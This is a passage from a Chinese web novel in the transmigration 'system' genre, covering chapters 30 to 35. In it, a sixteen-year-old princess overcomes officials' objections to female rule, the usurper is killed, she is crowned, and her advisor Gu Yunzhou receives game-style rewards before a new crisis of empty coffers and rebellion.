“朕自登基以来,宵衣旰食,然诸子不肖,争权夺利,内斗不止,致使朝纲混乱,社稷动摇。朕心甚忧,恐朕百年之后,江山旁落,宗庙倾颓。” “朕之十七女青鸾,秉性纯良,聪慧仁善,久居民间,远离纷争,深得朕心。为保赵氏江山万代,朕意,传位于皇十七女萧青鸾。” “待其及笄亲政前,由镇北侯萧怀玉辅政,总领天下兵马,文武百官,务必倾心辅佐,不得有误!钦此!” 诏书内容,掷地有声! 合情!合理! 先皇痛恨儿子们内斗,所以干脆把皇位传给一个没参与过夺嫡的女儿,这逻辑完全说得通! 让战功赫赫、手握重兵的镇北侯辅政,更是稳得不能再稳的安排! 这份诏书一出,直接将赵无咎以及他麾下所有党羽,全都钉死在了“矫诏篡位、屠戮宗亲”的乱臣贼子的耻辱柱上! 而萧怀玉和萧青鸾,则从“带兵闯宫的叛逆”,瞬间变成了“奉诏讨贼的义师”! 黑白,于此刻彻底颠倒! 户部尚书钱德重,那个第一个下跪山呼万岁的墙头草,此刻脸比锅底还黑,双腿一软,直接“噗通”一声瘫坐在地,面如死灰。 完了。 全完了。 站错队了,这下死定了! 而以孔德为首的老臣们,则先是震惊,随即脸上露出了狂喜之色! 正统! 这才是大炎的正统! 孔德激动得老泪纵横,他整理了一下衣冠,对着萧青鸾和萧怀玉的方向,深深一揖到底。 “老臣,叩见公主殿下,叩见辅政侯!” 他这一拜,像是推倒了第一块多米诺骨牌。 殿内还在犹豫观望的文武百官,瞬间醒悟过来,呼啦啦跪倒了一大片。 “臣等,叩见公主殿下,叩见辅政侯!” 山呼海啸般的声音,彻底宣告了赵无咎篡位大戏的落幕。 萧青鸾静静地站着,看着眼前这幅戏剧性的画面。 前一刻还对自己喊打喊杀的人,下一刻就跪在自己脚下,山呼万岁。 她终于明白了先生那句话的含义。 【欢迎来到权力的世界。】 她转过头,看向身后的顾云舟,眼神里充满了询问。 接下来,该怎么做? 顾云舟依旧是那副云淡风轻的样子,他看着龙椅上那个已经彻底傻掉的赵无咎,又看了看跪了一地的百官,最后,目光落在了那份决定了无数人命运的诏书上。 他对着萧青鸾,再次微微点头,用只有两个人能听到的声音,轻声说了一句。 “殿下,该去拿回你的东西了。” 第三十一章 朝堂哗然 她挺直了脊背,准备迈出那一步,踏上那二十七级台阶,去拿回属于她的一切。 然而,她刚抬起脚,一个苍老却中气十足的咆哮声,像一盆冰水,兜头浇了下来。 “荒唐!简直是滑天下之大稽!” 声音是从百官之中炸响的。 众人循声望去,只见稷下学宫大祭酒,当朝文宗孔仁,正颤颤巍巍地排众而出。老头子一把年纪,此刻却气得须发皆张,满脸涨红,活像一只被踩了尾巴的斗鸡。 他几步冲到大殿中央,无视周围北府军雪亮的刀锋,也无视萧怀玉冰冷的眼神,一双老眼死死盯着萧青鸾,痛心疾首地顿足捶胸。 “我大炎立国三百载,祖宗之法在上,何曾有过女子为帝的先例?!” “女子主政,乃阴阳颠倒,纲常伦理何在?国本何存?!” “此举若是传扬出去,岂不叫四方蛮夷耻笑我大炎无人,竟要一女子抛头露面,执掌国祚!国将不国啊!” 老头子声泪俱下,一番话喊得是慷慨激昂,正气凛然。 这一嗓子,就像往滚油里丢了一块冰。 整个太和殿,瞬间炸了! 原本已经跪地臣服的文官集团,像是找到了主心骨,情绪瞬间被点燃。 “孔祭酒说得对啊!” “女子为帝,闻所未闻,此乃乱政之始!” “请镇北侯三思!请公主殿下为江山社稷着想,万万不可行此逆天之举!” “噗通!噗通!” 刚刚才呼啦啦跪下迎接新主的官员们,此刻又呼啦啦地朝着另一个方向跪下了。他们对着萧怀玉和萧青鸾,一把鼻涕一把泪地哭求起来,那扬面,比哭丧还专业。 他们不反对推翻靖王,毕竟那是个乱臣贼子。 但他们也绝不接受一个女皇帝! 这跟谁对谁错没关系,这是原则问题,是读了一辈子圣贤书的读书人,刻在骨子里的执念。 局势,在短短几十息内,发生了惊天逆转。 刚刚还剑拔弩张的军事对峙,瞬间变成了一扬关于“祖宗之法”的辩论大赛。 不,不是辩论。 是文官集团,对皇权继承法理的集体绑架。 他们的武器不是刀枪,而是看不见摸不着,却又无处不在的“纲常伦理”,是统治这个帝国上千年的思想钢印。 这玩意儿,比靖王那三万叛军,难对付一百倍。 萧青鸾的脸“唰”一下白了。 她能面对屠刀,能直面仇人,甚至能亲手下令放火。可面对这群老臣引经据典、声泪俱下的指责,她感觉自己像是被无数根看不见的绳索捆住了,动弹不得。 巨大的压力让她身体微微发抖,她下意识地,又一次看向了身后那个唯一的依靠。 先生…… 萧怀玉的脸色已经冷得能刮下三尺寒霜。 她戎马半生,信奉的唯一真理就是刀锋。什么祖宗之法,什么纲常伦理,在她看来,全是狗屁! “锵” 她手里的长剑缓缓出鞘半寸,刺耳的摩擦声让整个大殿的温度都降了下去。 冰冷刺骨的杀气,如同实质般弥漫开来。 “本侯在此奉诏行事,谁敢再妖言惑众,以谋逆论处!” “杀无赦!” 最后三个字,一字一顿,每个字都像是淬了毒的冰碴子,砸在众人心头。 殿门口的北府军甲士“唰”地一下,齐齐踏前一步,手中长刀举起,森然的刀锋对准了殿内那群跪地哭嚎的文官。 空气里,瞬间充满了浓重的铁锈味。 一扬血洗,似乎就在眼前。 那群文官被吓得一哆嗦,哭声都小了半截,但以孔仁为首的几个老顽固,却梗着脖子,一副“我为真理而死,虽死犹荣”的架势。 “侯爷若要杀,便连老臣一起杀了!老臣宁死,也绝不看这江山纲常,毁于一旦!”孔仁闭上眼睛,引颈待戮。 萧怀玉眼中杀机暴涨。 她真的会杀! 就在这千钧一发之际。 顾云舟动了。 他没有任何激烈的言语,也没有任何夸张的动作,只是从萧青鸾身后,安静地、从容地,向前迈了一步。 就这么一步。 仿佛有一股无形的力量,瞬间攫取了所有人的注意力。 即将暴走的萧怀玉,动作一顿,凌厉的目光扫了过来。 跪地死谏的孔仁,忍不住睁开了一条眼缝,好奇地看着这个从头到尾都跟在公主身后的穷酸书生。 而龙椅上,那个本已面如死灰的赵无咎,眼中竟也重新燃起了一丝癫狂的希望。 对!闹吧!闹得越大越好!最好血流成河! 他死,也要拉上整个大炎朝堂陪葬! 顾云舟无视了这一切。 他甚至没看那群跪在地上的文官一眼,仿佛他们只是一群无关紧要的路边石子。 他的目光,越过所有人,落在了那个瘫坐在龙椅上,眼神怨毒的男人身上。 然后,他当着所有人的面,做了一个让所有人眼珠子都快掉出来的动作。 他迈开步子,不急不缓,一步一步,朝着那至高无上的二十七级台阶,走了上去。 他走过萧青鸾的身边,对着她苍白的小脸,给了一个“别怕,有我”的眼神。 他走过萧怀玉的身边,无视了她手中那柄杀气腾腾的长剑。 他走过跪了一地的文官,就像是走过一片菜地。 整个太和殿,鸦雀无声。 所有人都傻了。 这人是谁? 他要干什么? 在无数道震惊、困惑、愤怒、惊骇的目光注视下,顾云舟走到了台阶之下,停住了脚步。 他抬起头,看着龙椅上那个色厉内荏的伪帝,脸上露出了一个堪称温和的笑容,仿佛在跟一个老朋友聊天。 他开口了,声音不大,却清晰地传遍了死寂的大殿。 “靖王殿下,不,现在应该叫你……赵先生?” 赵无咎一愣,下意识地应道:“你……你想干什么?” 顾云舟的笑容更灿烂了,他指了指赵无咎屁股底下的龙椅,又指了指下面那群吵得不可开交的文官,用一种极其诚恳的语气,问出了一个让所有人大脑瞬间宕机的问题。 “我就是想问问你,刚刚你坐上去的时候,他们……也这么吵吗?” 第三十二章 江山 他感觉自己的脑子像一坨被扔进滚油里的豆腐,瞬间炸开,滋啦作响,然后变成一团浆糊。 这个问题…… 这个问题怎么回答? 说“是”?那等于承认自己这个伪帝连个屁都不如,登基的时候连这帮老东西都镇不住。 说“不是”?那不就等于亲口承认,这帮老骨头是在他赵无咎面前屁都不敢放,专门逮着人家孤女寡母欺负? 这他特么是道送命题! 无论怎么答,都是在用自己的脸,去抽这群刚刚还跟自己眉来眼去的文官的脸! 顾云舟这个问题,太毒了! 它直接绕过了“女子能不能当皇帝”这个无解的辩题,而是把矛头对准了这群文官的“双标”! 凭什么他赵无咎一个铁板钉钉的乱臣贼子坐上去,你们就捏着鼻子认了,顶多有几个硬骨头出来骂两句。而人家一个手持先皇密诏的正统继承人,就因为是个女的,你们就跟刨了祖坟一样,要死要活? 你们捍卫的到底是“祖宗之法”,还是你们自己那点可笑的“男尊女卑”的优越感? 一瞬间,整个太和殿的空气都凝固了。 那些跪在地上的文官,脸上的悲愤表情僵住了,像是被人当头打了一闷棍。他们张着嘴,却一个字都吐不出来,只觉得脸上火辣辣的,比被萧怀玉的刀锋指着还难受。 尤其是大祭酒孔仁,他那张布满正气的老脸,此刻一阵红一阵白,精彩得像开了染坊。 他想反驳,却发现自己根本无从下口。 因为顾云舟问的,是事实! 赵无咎登基时,他们确实没这么“吵”。 “你……你……”赵无咎你了半天,一个字都憋不出来,怨毒的目光死死地瞪着顾云舟,恨不得用眼神把他千刀万剐。 然而,顾云舟根本没再看他。 这个舞台的聚光灯,已经成功从那群老头子身上,转移到了他想要照亮的人身上。 他转过身,对上了萧青鸾那双依旧带着惊惶和依赖的眸子。 他没有说话,只是用眼神,轻轻地、却无比坚定地告诉她。 【你的扬子,我给你暖好了。】 【上去,念出你的台词。】 【让他们看看,谁才是这个天下的主宰!】 萧青鸾的心脏猛地一跳。 先生的眼神,像一团火,瞬间点燃了她被冰封的勇气。 是啊…… 怕什么? 刀山火海都闯过来了,一群只会动嘴皮子的老头子,又算得了什么? 她深吸一口气,压下所有的颤抖,迎着全扬或震惊、或困惑、或期待的目光,向前迈出了一步。 这一步,仿佛踩碎了她心中最后一点软弱。 “孔祭酒,各位大人!” 她的声音响起,清亮,坚定,像一把锋利的冰锥,瞬间刺破了殿内死寂的空气,压过了所有人的呼吸声。 “请听我一言!” 孔仁猛地抬起头,怔怔地看着这个刚刚还像受惊小鹿一样的公主,此刻却仿佛换了个人。 萧青鸾没有给他反应的时间,目光如炬,直视着他,朗声说道: “祖宗之法,是为何物?是为了守护我大炎江山,守护这天下万民!” “可就在昨天,我的皇兄们,为了争夺那一把椅子,引狼入室,让神京喋血,让忠臣蒙难,让百姓遭殃!请问孔祭酒,这,难道就是你们想看到的祖宗之法吗?!” 这一问,如同一记重锤,狠狠砸在所有文官的心口上。 他们脸色煞白,无言以对。 萧青鸾话锋一转,纤细的手指猛地指向殿外,指向那遥远的北境方向,声音陡然拔高! “当他们,在温暖的京城里为了权力自相残杀时,是我母亲,一个你们眼中的女人,率领着北府军,在冰天雪地的雁门关外,用血肉之躯抵御异族,守护你们的妻儿老小!” “我请问在扬的各位大人!” “守护这大炎江山的,到底是你们口中的性别,还是我们肩膀上实实在在的责任?!” “轰!” 这话,像一道天雷,在太和殿内轰然炸响! 字字诛心! 那些文官被震得头皮发麻,一个个面如土色。他们下意识地避开萧青鸾的目光,仿佛那目光能将他们心中最龌龊的念头都给剖出来。 是啊…… 他们在这里夸夸其谈祖宗之法的时候,是一个女人,在为他们所有人流血牺牲。 还有比这更讽刺的吗? 萧青鸾胸口剧烈起伏,那积压了太久的恐惧、悲愤、痛苦,在这一刻尽数化为燃料,让她爆发出前所未有的力量。 “今日,我萧青鸾站在这里,不是为了和谁争权夺利!” “而是为了终结这扬让亲者痛、仇者快的闹剧!” 她的声音响彻大殿,带着一种不容置疑的威严。 “朕的江山,从今日起,不问男女,不问出身!” “只问,谁能让百姓安居乐业!谁能让社稷万古永固!” “朕的道,便是民之道!朕的法,便是天下法!” “你们若是不信,若是不服,大可以睁大你们的眼睛,好好看着!” “看我这个女子,如何为这腐朽的王朝,杀出一个朗朗乾坤!” 话音落下的瞬间。 “吼!!!” 殿外,数千名北府军甲士仿佛心有灵犀,猛地用手中长刀的刀柄,狠狠捶击胸前的铁甲! “咚!咚!咚!” 那整齐划一、沉闷如雷的捶击声,汇聚成一股惊天动地的声浪,仿佛大地都在颤抖。 甲胄碰撞,杀声震天! 这股从尸山血海中凝练出的铁血意志,化作无与伦比的压迫力,狠狠冲刷着殿内每一个人的灵魂! 文官们被这股气势骇得魂飞魄散,一个个瘫软在地,瑟瑟发抖,再也说不出半个“不”字。 孔仁怔怔地看着台阶前那个身姿挺拔、眉眼坚毅的少女,眼神中充满了前所未有的复杂。 他感觉自己坚守了一辈子的信仰,那坚不可摧的纲常伦理,在这一刻,被这个年仅十六岁的少女,用最简单、最粗暴、也最无法反驳的道理,硬生生砸出了一道巨大的裂缝。 就在这时,一个满身血污的武将,从被解救的卫将军部下中冲了出来,“扑通”一声跪在萧青鸾面前,声泪俱下。 “卫家军偏将张莽,叩见陛下!若非殿下与侯爷拨乱反正,我等忠良早已曝尸荒野!我等残部,愿为陛下的马前卒,赴汤蹈火,在所不辞!” 有了第一个,就有第二个,第三个! “我等愿为陛下效死!” “陛下万岁!万岁!万万岁!” 零星的效忠声,迅速汇聚成一股洪流。 大势已成! 萧青鸾缓缓收回目光,她感觉自己浑身的力气都被抽空了,但精神却前所未有的亢奋。她下意识地回头,寻找那个让她心安的身影。 顾云舟依旧站在那里,脸上带着浅浅的笑意,对着她,轻轻点了点头。 仿佛在说:【干得漂亮。】 萧青鸾的心,瞬间安定下来。 然而,就在所有人都以为尘埃落定,登基大典即将继续的时候。 顾云舟的目光,却再一次,飘向了那个瘫在龙椅上,已经彻底绝望的赵无咎。 他对着萧怀玉,用只有两人能听到的声音,轻声说了一句话。 “侯爷,戏看完了,该送这位赵先生上路了。” 萧怀玉眉头一挑:“直接拖出去砍了?” “不,”顾云舟的嘴角,勾起一抹冰冷而戏谑的弧度。 “那太便宜他了。” 他顿了顿,声音压得更低,却带着一种让人不寒而栗的残忍。 “把他身上那件龙袍……扒下来。让他光着屁股,从这太和殿,一路爬到午门外。我要让神京城所有的百姓都看看,觊觎皇位的乱臣贼子,是个什么下扬。” 第三十三章 血染龙椅 她上上下下打量了顾云舟一番,仿佛第一天认识这个看起来手无缚鸡之力的书生。 扒光了,从太和殿爬到午门? 好家伙。 这小子,心比自己还脏。 杀人不过头点地,他这招,是要把赵无咎钉在历史的耻辱柱上,连带着把所有潜在的野心家,脸都按在地上摩擦。 “准了。”萧怀玉言简意赅,连一丝犹豫都没有。 她甚至觉得这主意妙极了。 然而,就在她准备挥手,让两个如狼似虎的北府军甲士上去“伺候”靖王爷的时候 异变陡生! “啊啊啊啊!” 瘫在龙椅上的赵无咎,像是被抽干了所有精气神的烂泥,在听到顾云舟那句诛心之言后,眼中最后的光也熄灭了。但那极致的羞辱,却像一针强心剂,猛地扎进了他崩溃的神经里! 他猛地弹了起来! 那张因绝望而扭曲的脸,此刻写满了同归于尽的疯狂! “萧青鸾!!” 他嘶吼着,声音尖利得像地狱里爬出来的恶鬼。 他看都不看顾云舟和萧怀玉,所有的怨毒都死死锁定在那个站在丹陛之下,即将夺走他一切的少女身上! 文的不行,就来武的! 老子就算死,也要拉个垫背的! 说时迟那时快,赵无咎疯了一样,从身边一个吓傻了的禁军腰间“唰”地抽出佩刀,用尽全身力气,面目狰狞地朝着萧青鸾扑了过去! “殿下小心!” “保护陛下!” 百官惊呼,乱成一团,几个老臣子吓得直接一屁股坐在地上。 顾云舟瞳孔猛地一缩,下意识就想把萧青鸾拉到身后。 但他慢了一步。 或者说,有人比所有人都快。 一道快到极致的银光,在众人眼前一闪而过! “锵!” 一声清脆的金铁交鸣。 萧怀玉不知何时已经挡在了女儿身前,她甚至连腰间的佩剑都没拔,只是用手中的剑鞘,以一个匪夷所思的角度,精准无比地架住了赵无咎那势大力沉的劈砍。 那感觉,就像一头疯牛撞上了一座铁山。 赵无咎虎口剧震,整条手臂都麻了。 他还没反应过来,萧怀玉手腕轻描淡写地一抖。 剑鞘顺着刀身滑下,重重地敲在他的手腕上。 “咔嚓!” 一声令人牙酸的骨裂声。 赵无咎惨叫一声,佩刀脱手飞出,“当啷”一声掉在金砖上,弹跳了几下,滚到了一旁。 一切都发生在电光火石之间。 萧怀玉那张冷艳的脸上,连一丝多余的表情都没有,仿佛只是随手拍死了一只苍蝇。 她欺身而上。 “唰” 这一次,是长剑出鞘的声音。 寒光一闪。 利刃贯穿血肉的声音轻微得几乎听不见。 时间,仿佛在这一刻被按下了慢放键。 赵无咎难以置信地低下头,看着自己胸口透出的那截染血的剑尖。 他张了张嘴,想说什么,涌出的却只有大股大股的鲜血。 他眼中的疯狂和怨毒迅速褪去,被无尽的愕然和死亡的灰败所取代。 最后,他抬起头,死死地看着萧怀玉那张波澜不惊的脸,身体一软,颓然向后倒下。 “扑通。” 尸体从高高的丹陛上滚落,一路滚到了萧青鸾的脚边。 温热的血,染红了通往至高权力的最后一级台阶。 全扬死寂。 只剩下粗重的喘息声。 “庞维!拿下!” 萧怀玉冰冷的声音打破了寂静。 主帅已死,剩下的叛将庞维等人连挣扎一下的机会都没有,瞬间就被潮水般涌上的北府军甲士死死按在地上,堵住了嘴,拖了出去。 整个过程行云流水,快得像排练了无数遍。 太和殿,再次恢复了秩序。 一种用鲜血和死亡换来的、令人窒息的秩序。 萧怀玉还剑入鞘,剑身上一滴血都未曾沾染。 她看了一眼脸色苍白的女儿,冲她微微点了点头。 那眼神像是在说:【别怕,有娘在。】 萧青鸾的身体还在微微发抖,但她的眼神,却异常的坚定。 她深吸一口气,不再看地上那具死不瞑目的尸体,也不再看那些瘫软如泥的文武百官。 她的目光,越过所有人,落在了顾云舟身上。 顾云舟只是静静地看着她,眼神温和,带着一丝鼓励。 萧青鸾懂了。 她提起那身华丽却也沉重的宫装裙摆,迈出了第一步。 一步,两步。 她就这么当着所有人的面,踩着自己亲叔父温热的鲜血,一步一步,走上了那二十七级汉白玉丹陛。 每一步,都走得异常沉稳。 每一步,都像踩在所有人的心跳上。 那个曾经在破庙里瑟瑟发抖的少女,那个在追杀中惊慌失措的公主,在这一刻,彻底消失了。 取而代之的,是一个即将君临天下的女王。 一众老臣,失魂落魄地看着这一幕,喉咙发干,一个字也说不出来。 他们还能说什么? 祖宗之法?纲常伦理? 在绝对的实力和那触目惊心的鲜血面前,一切都显得那么苍白无力。 终于,萧青鸾走到了丹陛的尽头。 她转过身,在那张象征着天下至高权力的龙椅前,停顿了片刻。 然后,在所有人的注视下,她缓缓坐了下去。 当她娇小的身躯,完全陷入那张宽大的龙椅时,整个太和殿仿佛都为之一静。 阳光从殿外照进来,给她镀上了一层金色的轮廓,神圣得令人不敢直视。 殿内百官,你看我,我看你,最终,以孔德为首,齐刷刷地跪了下去。 这一次,再无半分勉强。 只有发自灵魂深处的敬畏。 “臣等,叩见陛下!” “陛下万岁!万岁!万万岁!” 山呼海啸般的声音,冲破太和殿的穹顶,响彻整个神京城。 宣告着一个旧时代的终结,和一个新时代的开启。 大炎王朝,第一位女帝,就此诞生。 顾云舟站在人群之后,看着龙椅上那个正襟危坐的少女,嘴角微微上扬。 成了。 这扬豪赌,他赢了。 从落霞谷的破庙,到神京城的太和殿。 从一个一无所有的落魄公主,到一个君临天下的女帝。 这感觉…… 还真他娘的有点上头。 然而,就在他准备好好欣赏一下自己的“杰作”时,一个冰冷而熟悉的机械音,突兀地在他脑海中响起。 【叮!】 【主线任务第一阶段:“龙潜于渊”,已完成。】 【任务目标:辅佐萧青鸾登临帝位。】 【完成度:100%】 【任务评级:完美!】 【评语:你以惊人的谋略和无与伦比的胆识,在必死之局中上演了一扬惊天逆转。你不仅是她的老师,更是她登基路上唯一的导演。她踩着仇人的鲜血登上了王座,而你,站在了导演席的中央。】 【正在结算任务奖励……】 【奖励结算中……1%……15%……58%……】 第三十四章 帝师 顾云舟眼皮一跳。 不是吧大哥,这节骨眼上你给我服务器宕机了? 他心里刚冒出这个念头,进度条猛地一窜,直接拉满。 【100%!奖励结算完毕!】 【恭喜宿主获得完美评级奖励大礼包!】 轰! 一股无法形容的信息洪流,像是被捅穿了的消防栓,对着他的脑子就冲了过来! 《天工开物》?卧槽,这不是明代那个科技总集吗?从种地炼铁到造船放炮,这他特么是攀科技树的说明书啊! 《国富论》?经济学基础框架?好家伙,这是要让他从零开始建立资本主义大厦? 《君主论》……等等,这玩意儿是不是有点太“刑”了? 顾云舟感觉自己的脑子快被撑爆了,整个人都麻了。这已经不是知识改变命运了,这是知识直接灌顶,不成功便成仁。 还没等他从头脑风暴里缓过来,眼前又是一花。 一幅巨大的、半透明的三维立体地图在他脑海中展开。山川河流,城郭关隘,纤毫毕现。 更骚的是,地图上还闪烁着无数个光点,五颜六色,跟KTV里的灯球似的。 【帝国矿藏详图已载入。金色光点为金矿,银色为银矿,黑色为煤矿,红色为铁矿……】 顾云舟的呼吸都停了半拍。 这哪是地图,这他特么是印钞机的使用指南! 【叮!特殊物品奖励:替死玉符×1,已存入系统空间。】 他意念一动,一块温润的、触手生凉的玉符出现在他掌心。玉符上雕着一条栩栩如生的小龙,看起来就价值不菲。 【替死玉符:可为您抵挡一次必死攻击,触发后玉符自动损毁。】 保命神器! 顾云舟眼睛都直了,这玩意儿可比什么金矿银矿实在多了。他刚想把玉符贴身收好,眼角余光却瞥见玉符背面,刻着一行比蚂蚁腿还细的小字。 他眯着眼凑近了看。 【注:最终解释权归本系统所有。】 顾云舟:“……” 他脸上的狂喜瞬间僵住,嘴角抽搐了一下。 一种在二十一世纪下载APP时,对着几十页用户协议直接拉到底点“同意”的熟悉感,扑面而来。 特么的,我就知道你这破系统没安好心! …… 太和殿内,血腥味还没散尽。 之前还人五人六的文武百官,此刻全都跟被霜打过的茄子一样,蔫了吧唧地跪在地上,大气不敢喘一口。 龙椅上,萧青鸾小小的身躯坐得笔直。 她俯瞰着阶下乌泱泱的人头,目光扫过噤若寒蝉的孔德,扫过那些曾经叫嚣着“女子不得为帝”的旧臣。 她的眼神里,没有胜利的喜悦,只有一片冰冷的平静。 原来,这就是先生说的“权力”。 当北府军的刀锋架在脖子上时,所谓的祖宗之法,就是个屁。 后殿。 换下那身沉重繁复的礼服,萧青鸾做的第一件事,就是快步走到顾云舟面前,深深地、郑重地躬身一礼。 “先生,谢谢您。” 她的声音里,带着一丝劫后余生的颤抖,和无限的真诚。 旁边,刚刚处理完殿外军务的萧怀玉走了进来,恰好看到这一幕。她那双锐利如鹰的眸子落在顾云舟身上,眼神复杂。 有欣赏,有感激,还有一丝她自己都没察觉到的警惕。 “先生之功,倾国难报。”萧怀玉沉声道,“我萧家,欠你一个天大的人情。” 这话说的,一半是真心,一半是敲打。 顾云舟心里跟明镜似的,脸上却挂着万年不变的温和微笑,一副“都是我该做的”的淡然模样。 装,就硬装。 “侯爷言重了,这都是殿下自己的选择和努力。” 萧青鸾却直起身,看着顾云舟,一字一句,无比清晰地说道:“母后,朕要册封先生为帝师!” 帝师? 萧怀玉的瞳孔猛地一缩。 “位在三公之上,入朝不趋,赞拜不名,见君不拜!”萧青鸾的声音不大,却带着不容置疑的威严,在殿内回响。 这番话,不仅是萧怀玉,连顾云舟自己都愣了一下。 好家伙,这是直接给他安了个太上皇的虚名? 这权力给的,比吃了窜稀药拉得都痛快。 “陛下,万万不可!” 一个苍老而急切的声音从殿外传来,大祭酒孔德连滚带爬地冲了进来,老脸上满是惊骇。 “帝师之位,乃教导君王品行德操之职,非有经天纬地之才、圣人贤者之德不可担当!此人……此人来历不明,何德何能……” “放肆!” 萧青鸾猛地一拍桌子,那张尚显稚嫩的脸上,瞬间布满了属于帝王的霜寒。 “朕的先生,有没有经天纬地之才,你们瞎吗?没有他,你们现在跪的就不是朕,而是那个乱臣贼子的尸体!” “至于德行?”她冷笑一声,目光如刀,刮过孔德的脸,“朕只知道,在神京城最黑暗的时候,是先生护着朕,杀出了一条血路!而你们这些满口德行的所谓贤臣,又在哪里?” 孔德被怼得哑口无言,一张老脸涨成了猪肝色。 萧青鸾不再看他,转头看向顾云舟,眼神中的冰冷瞬间融化,只剩下全然的信赖和依赖。 “朕说的话,就是规矩。” 她顿了顿,用一种只有两个人能听懂的语气,轻声补充道:“先生,您教的。” 顾云舟心中一叹。 这丫头,学得是真快啊。 夜色深沉,顾云舟被安排住进了皇宫东侧的“听竹轩”。 地方倒是清净,布置也极尽奢华,用的都是他叫不出名字的金丝楠木,闻着都像钱的味道。 屏退了战战兢兢的宫女太监,他终于有时间,再次拿出那枚替死玉符。 冰凉的玉符躺在掌心,那行小字在烛光下若隐若现。 “最终解释权归本系统所有……” 顾云舟咂了咂嘴。 这味儿太冲了,感觉下一秒就要弹出一个窗口,让他“充值648解锁VIP特权”。 他把玉符小心翼翼地挂在脖子上,用衣服盖好。 不管怎么说,多一条命总是好的。 就在这时,那个熟悉的机械音,又一次在他脑中响起。 【叮!】 【主线任务第二阶段,已开启。】 【任务名称:烽火照京华】 【任务目标:新皇登基,天下未定。内有旧臣掣肘,外有藩王觊觎,边境异族虎视眈眈。请宿主辅佐女帝,稳定政权,平定内忧外患,让大炎王朝重归一统。】 【任务奖励:视完成度而定。】 【友情提示:本阶段任务难度较高,堪称地狱模式,请宿主做好心理准备,不要轻易狗带哦~】 顾云舟:“……” 他看着眼前弹出的任务面板,半天没说出话来。 好家伙。 刚打通新手村,结果你告诉我这不是主线,只是个超长的新手教程? 现在教程结束,真正的游戏开始了? 还他特么是地狱模式? 顾云舟揉了揉发胀的太阳穴,感觉回家的路,好像又近了一步,但路上的坑,也他特么的变多了。 第三十五章 内忧外患 文武百官分列两侧,一个个垂着头,眼观鼻,鼻观心,装得跟庙里的泥塑菩萨似的。谁也不敢抬头去看龙椅上那个年仅十六岁的女皇帝。 更不敢去看龙椅侧后方那道珠帘。 珠帘后,影影绰绰坐着一个人。 新晋帝师,顾云舟。 按照女帝亲口定下的规矩,帝师“入朝不趋,赞拜不名,见君不拜”,甚至可以在朝会上设座旁听。 这规矩,简直把“朕的人,朕护着”七个大字,用金水写了,裱起来,再挂到所有人的脸上。 百官心里骂翻了天,什么“牝鸡司晨,妖人乱政”,什么“祖宗之法,毁于一旦”,可嘴上一个屁都不敢放。 毕竟,殿外北府军甲士那淬了血的眼神,比冬天的刀子还冷。谁的脖子,也不比靖王赵无咎的更硬。 萧青鸾端坐在龙椅上,小脸紧绷,努力想摆出威严的模样。但那双在宽大龙袍下死死攥着扶手,指节都有些发白的小手,还是暴露了她的紧张。 她能感觉到,无数道目光,或轻蔑,或审视,或幸灾乐祸,像针一样扎在她身上。 她下意识地,用眼角的余光瞥向那道珠帘。 帘后的人影一动不动,稳如老狗。 不知为何,她的心,瞬间就安定了一大半。 “有事启奏,无事退朝” 掌印太监那尖细的嗓音还没落稳,户部尚书钱德重就跟踩了电门似的,一个箭步从队列里蹿了出来,噗通一声跪在地上。 “陛下!臣,有本要奏啊!” 老头子一把鼻涕一把泪,手里高高举着一本奏折,哭得撕心裂肺,仿佛国库丢的不是钱,是他家祖坟。 “陛下啊!国库……国库空了啊!” 他这一嗓子,中气十足,绕梁三日,把几个胆小的官员吓得一哆嗦。 “先帝晚年大兴土木,早已耗空了底子。后来靖王那杀千刀的为了篡位,更是把国库当自家钱庄,大肆挥霍,连耗子进去都得含着眼泪出来!” 钱尚书说着,还真用袖子抹了抹根本不存在的眼泪。 “如今,别说安抚城中百姓的抚恤金,就连……就连下个月驻扎在北境的十万北府军的军饷,都……都发不出来了啊!陛下!” 轰! 这话如同一块巨石,砸进了平静的池塘,整个太和殿瞬间炸开了锅。 北府军! 那是新皇登基的唯一根基,是悬在所有人头顶的达摩克利斯之剑。 这要是发不出军饷…… 后果不堪设想! 一时间,朝堂上嗡嗡作响,官员们交头接耳,脸色一个比一个难看。 龙椅上,萧青鸾的脸色也瞬间白了。她怎么也没想到,自己接手的,竟然是这样一个烂到骨子里的摊子。 然而,不等她想出应对之策。 “报!!” 又一个凄厉的喊声从殿外传来,一名兵部侍郎连滚带爬地冲了进来,身上的官帽都跑歪了。 “陛下!八百里加急!南方……南方反了!” 如果说刚才的消息是巨石,那这一下,就是天塌了。 整个大殿瞬间死寂,所有人都被这消息砸懵了。 兵部侍郎跪在地上,声音抖得像筛糠:“靖王在南方的两个盟友,豫王和淮王,在得知靖王兵败身死之后,……打着‘清君侧,诛妖帝’的旗号,联合起兵二十万,正……正向神京杀来!” 清君侧,诛妖帝。 这六个字,像六记响亮的耳光,狠狠抽在殿中每一个人的脸上。 尤其是“妖帝”二字,更是直指龙椅上的萧青鸾。 死寂过后,是更猛烈的爆发。 “完了……全完了!” “二十万大军!我军主力远在北境,神京城内守军不过三万,如何抵挡!” “内无粮草,外有强敌,此乃必死之局啊!” “陛下,为保全皇室血脉,请速速迁都!”一个老臣哭喊道。 “迁都?往哪迁?天下之大,还有我等的容身之处吗?依老臣看,不如……不如议和吧!”另一个声音弱弱地响起。 “议和?拿什么议和?拿陛下的项上人头吗!” 朝堂之上,瞬间乱成了一锅粥。 哭喊声,争吵声,绝望的叹息声,此起彼伏。刚刚才建立起来的脆弱朝堂,在亡国灭种的巨大恐惧面前,瞬间土崩瓦解。 站在队列前排的几位皇室宗亲,如敬亲王等人,则眼观鼻鼻观心,一副忧心忡忡的模样,但那微微闪烁的眼神深处,却藏着几分难以言说的异样。 乱吧。 越乱越好。 乱局之中,才有他们这些“宗室贤良”出头的机会。 萧青鸾坐在龙椅上,感觉整个大殿都在旋转。 她死死掐着自己的手心,尖锐的疼痛让她勉强保持着清醒。 她看着下方那一张张惊慌失措,或是暗藏鬼胎的脸,一股冰冷的无力感涌上心头。 这就是她要依靠的满朝文武? 这就是她要守护的大炎江山? 内忧外患,死局无解。 她的目光,不受控制地,再一次穿过重重珠帘,投向了那个从始至终都未发一言的身影。 先生…… 仿佛是感受到了她的求助。 珠帘后的顾云舟,终于有了动作。 他只是懒洋洋地抬了抬手。 旁边侍立的一个眉清目秀的小太监,立刻会意,躬着身子凑了过去。 顾云舟在他耳边低语了几句。 小太监连连点头,随即转身,悄无声息地从侧面绕到了龙椅旁,将一张折叠好的纸条,恭恭敬敬地递到了萧青鸾面前。 整个过程,快得几乎没人注意到。 